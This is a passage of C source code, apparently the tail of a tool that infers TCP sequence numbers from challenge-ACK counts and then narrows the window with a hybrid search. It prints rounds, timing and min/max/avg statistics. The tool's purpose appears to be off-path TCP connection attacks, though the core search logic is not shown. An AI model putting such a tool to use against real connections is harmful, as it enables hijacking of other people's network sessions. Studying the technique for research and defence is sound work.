1; 501 | 502 | #define DEBUG_SEARCH_SEQS 503 | #ifdef DEBUG_SEARCH_SEQS 504 | if (debug) { 505 | printf("window block %lu - %lu: got %d chacks. searching further...\n", 506 | (u_long)guess_start, (u_long)guess_end, 507 | chacks); 508 | } 509 | #endif 510 | 511 | /* step 3 - get the exact sequence number */ 512 | if (guess_start < guess_end) { 513 | if (!hybrid_search(guess_start, guess_end)) 514 | return 1; 515 | } else { 516 | if (!hybrid_search(0, guess_end)) { 517 | if (!hybrid_search(guess_start, UINT32_MAX)) 518 | return 1; 519 | } 520 | } 521 | 522 | tot_rounds += rounds; 523 | if (rounds > max_rounds) 524 | max_rounds = rounds; 525 | if (rounds < min_rounds) 526 | min_rounds = rounds; 527 | 528 | tot_seconds += seconds; 529 | if (seconds > max_seconds) 530 | max_seconds = seconds; 531 | if (seconds < min_seconds) 532 | min_seconds = seconds; 533 | 534 | #ifdef USE_SPINNER 535 | spinner(); 536 | #else 537 | printf("found %lu after %d rounds and %d seconds\n", (u_long)correct, rounds, seconds); 538 | #endif 539 | 540 | if (manual_mode) 541 | break; 542 | } 543 | 544 | if (!manual_mode) 545 | printf("min/max/avg rounds: %d/%d/%lu, min/max/avg seconds: %d/%d/%lu\n", 546 | min_rounds, max_rounds, 547 | tot_rounds / num_attempts, 548 | min_seconds, max_seconds, 549 | tot_seconds / num_attempts); 550 | 551 | return 0; 552 | } 553 | --------------------------------------------------------------------------------